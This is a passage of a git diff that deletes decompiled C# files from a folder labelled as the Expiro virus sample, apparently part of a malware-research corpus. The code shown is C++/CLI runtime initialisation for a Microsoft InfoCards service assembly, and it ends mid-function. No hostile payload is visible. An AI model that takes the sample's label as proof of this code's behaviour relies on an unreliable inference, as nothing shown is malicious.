a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/TriBool.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .TriBool -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct TriBool - { - [CLSCompliant(false)] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - public enum State - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CModule_003E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CModule_003E.cs deleted file mode 100644 index d0606aa1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CModule_003E.cs +++ /dev/null @@ -1,1399 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using \u003CCppImplementationDetails\u003E; -using \u003CCrtImplementationDetails\u003E; -using Microsoft.InfoCards; -using System; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Permissions; -using System.ServiceProcess; -using System.Threading; - -internal class \u003CModule\u003E -{ - internal static \u0024ArrayType\u0024\u0024\u0024BY07\u0024\u0024CBG \u003FA0x7907e524\u002Eunnamed\u002Dglobal\u002D0; - internal static \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBD \u003FA0x7907e524\u002Eunnamed\u002Dglobal\u002D1; - internal static \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBG \u003FA0x7907e524\u002Eunnamed\u002Dglobal\u002D2; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBD \u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040FAPBOFLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040BNBJOFNC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040PPLFHHPC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040LCFNHHJF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EC\u0040PNPIPOFH\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EC\u0040HAHAADLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1CE\u0040MDDMNBFC\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024CB\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0P\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1BO\u0040IGNPGJKB\u0040\u003F\u0024AAh\u003F\u0024AAE\u003F\u0024AAl\u003F\u0024AAe\u003F\u0024AAv\u003F\u0024AAa\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAd\u003F\u0024AAT\u003F\u0024AAo\u003F\u0024AAk\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AA\u003F\u0024AA\u0040; - internal static unsafe ushort* g_lrpcProtocolSequence; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_mp_z; - [FixedAddressValueType] - internal static int \u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FUninitialized\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xi_vt_a; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedPerAppDomain\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - [FixedAddressValueType] - internal static bool \u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FIsDefaultDomain\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_ma_a; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedNative\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - [FixedAddressValueType] - internal static int \u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitialized\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_ma_z; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedVtables\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xi_vt_z; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedPerProcess\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static bool \u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static bool \u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static bool \u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static int \u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA; - internal static uint \u003FProcessAttach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FThreadAttach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static TriBool.State \u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A; - internal static uint \u003FProcessDetach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FThreadDetach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FProcessVerifier\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static TriBool.State \u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A; - internal static bool \u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_mp_a; - public static unsafe int** __unep\u0040\u003FDoNothing\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z; - public static unsafe int** __unep\u0040\u003F_UninitializeDefaultDomain\u0040LanguageSupport\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z; - [FixedAddressValueType] - internal static uint __exit_list_size_app_domain; - [FixedAddressValueType] - internal static unsafe __FnPtr* __onexitbegin_app_domain; - internal static uint \u003FA0x9b698f77\u002E__exit_list_size; - [FixedAddressValueType] - internal static unsafe __FnPtr* __onexitend_app_domain; - internal static unsafe __FnPtr* \u003FA0x9b698f77\u002E__onexitbegin_m; - internal static unsafe __FnPtr* \u003FA0x9b698f77\u002E__onexitend_m; - [FixedAddressValueType] - internal static unsafe void* \u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA; - [FixedAddressValueType] - internal static int \u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ __xc_z; - public static volatile uint __native_vcclrit_reason; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ __xc_a; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ __xi_a; - public static volatile __enative_startup_state __native_startup_state; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ __xi_z; - public static unsafe void* __native_startup_lock; - public static volatile uint __native_dllmain_reason; - - internal static unsafe int wmain() - { - \u003CModule\u003E.HeapSetInformation((void*) 0, (_HEAP_INFORMATION_CLASS) 1, (void*) 0, 0U); - ServiceBase.Run((ServiceBase) new InfoCardService()); - return 0; - } - - internal static unsafe void* RtlSecureZeroMemory(void* ptr, uint cnt) - { - sbyte* numPtr = (sbyte*) ptr; - if (cnt != 0U) - { - do - { - *numPtr = (sbyte) 0; - ++numPtr; - --cnt; - } - while (cnt != 0U); - } - return ptr; - } - - internal static unsafe void PropVariantInit(tagPROPVARIANT* pvar) - { - // ISSUE: initblk instruction - __memset((IntPtr) pvar, 0, 16); - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInDllMain() => \u003CModule\u003E.__native_dllmain_reason != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInProcessAttach() => \u003CModule\u003E.__native_dllmain_reason == 1U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInProcessDetach() => \u003CModule\u003E.__native_dllmain_reason == 0U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInVcclrit() => \u003CModule\u003E.__native_vcclrit_reason != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsSafeForManagedCode() => (\u003CModule\u003E.__native_dllmain_reason != uint.MaxValue ? 1 : 0) == 0 || (\u003CModule\u003E.__native_vcclrit_reason != uint.MaxValue ? 1 : 0) != 0 || \u003CModule\u003E.__native_dllmain_reason != 1U && \u003CModule\u003E.__native_dllmain_reason != 0U; - - internal static unsafe int \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EDoNothing( - void* cookie) - { - GC.KeepAlive((object) int.MaxValue); - return 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasPerProcess() - { - if (\u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A != (TriBool.State) 2) - return \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A == (TriBool.State) -1; - void** voidPtr = (void**) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_a; - if (ref \u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_a < ref \u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_z) - { - while (*(int*) voidPtr == 0) - { - voidPtr += 4; - if ((IntPtr) voidPtr >= ref \u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_z) - goto label_5; - } - \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_5: - \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasNative() - { - if (\u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A != (TriBool.State) 2) - return \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A == (TriBool.State) -1; - void** voidPtr1 = (void**) &\u003CModule\u003E.__xi_a; - if (ref \u003CModule\u003E.__xi_a < ref \u003CModule\u003E.__xi_z) - { - while (*(int*) voidPtr1 == 0) - { - voidPtr1 += 4; - if ((IntPtr) voidPtr1 >= ref \u003CModule\u003E.__xi_z) - goto label_5; - } - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_5: - void** voidPtr2 = (void**) &\u003CModule\u003E.__xc_a; - if (ref \u003CModule\u003E.__xc_a < ref \u003CModule\u003E.__xc_z) - { - while (*(int*) voidPtr2 == 0) - { - voidPtr2 += 4; - if ((IntPtr) voidPtr2 >= ref \u003CModule\u003E.__xc_z) - goto label_9; - } - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_9: - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsInitialization() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasPerProcess() && !\u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA || \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasNative() && !\u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA && \u003CModule\u003E.__native_startup_state == (__enative_startup_state) 0; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsUninitialization() => \u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EInitialize() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain((__FnPtr) (IntPtr) \u003CModule\u003E.__unep\u0040\u003FDoNothing\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z, (void*) 0); - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA = false; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeVtables( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during vtable initialization.\n"); - \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xi_vt_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xi_vt_z); - \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeDefaultAppDomain( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load while attempting to initialize the default appdomain.\n"); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EInitialize(); - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeNative( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during native initialization.\n"); - \u003CModule\u003E.__security_init_cookie(); - \u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - if (!\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsSafeForManagedCode()) - \u003CModule\u003E._amsg_exit(33); - switch (\u003CModule\u003E.__native_startup_state) - { - case (__enative_startup_state) 0: - \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 1; - if (\u003CModule\u003E._initterm_e((__FnPtr*) &\u003CModule\u003E.__xi_a, (__FnPtr*) &\u003CModule\u003E.__xi_z) != 0) - 